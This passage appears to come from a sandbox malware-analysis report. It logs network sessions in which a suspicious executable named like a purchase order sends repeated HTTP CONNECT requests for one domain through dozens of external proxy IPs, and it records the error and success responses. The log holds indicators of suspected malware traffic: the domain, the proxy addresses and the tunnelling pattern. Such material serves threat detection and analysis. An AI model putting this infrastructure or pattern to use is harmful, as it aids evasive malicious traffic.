155	192.168.2.10	50154	36.134.91.82	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.452733040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.348191977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.10	50299	162.19.7.56	44195	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.454197884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.850574970 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.10	50378	72.195.114.169	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.457139015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.10	50421	162.243.102.207	9764	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.459896088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.10	50511	173.245.49.27	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.460238934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.614741087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.10	50330	173.249.29.243	9123	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.470525980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.797420979 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:40:10 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3932 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.10	50326	58.234.116.197	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.472151041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.10	50364	191.97.9.228	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.478693962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.098186970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.868936062 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.10	50561	31.43.179.160	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.481082916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.636147022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.10	50494	142.54.231.38	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.483196020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.10	50584	185.238.228.202	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.491391897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.645646095 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.10	50586	104.25.87.42	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.492003918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.646285057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.10	50587	104.21.223.181	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.492408037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.646806955 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.10	50319	212.31.100.138	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.492408037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.10	50327	186.124.164.213	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.492417097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.10	50219	124.163.236.54	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.496176004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.10	50608	104.16.109.207	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.500895977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.655473948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.10	50355	136.244.99.51	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.502480984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.806926012 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.10	49754	194.4.50.91	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.504201889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.10	50537	23.95.209.142	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.519512892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.10	50462	23.94.123.243	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.520406961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.058494091 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:45 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.10	50499	159.203.61.169	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.520997047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.885329962 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.10	50420	92.207.253.226	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.521253109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.10	50366	51.161.131.84	49202	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.532290936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.10	50254	222.138.76.6	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.532295942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.426305056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.963958025 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.10	50656	104.16.108.42	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.535865068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.690411091 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.10	50543	23.152.40.14	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.538379908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.10	50375	213.184.153.66	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
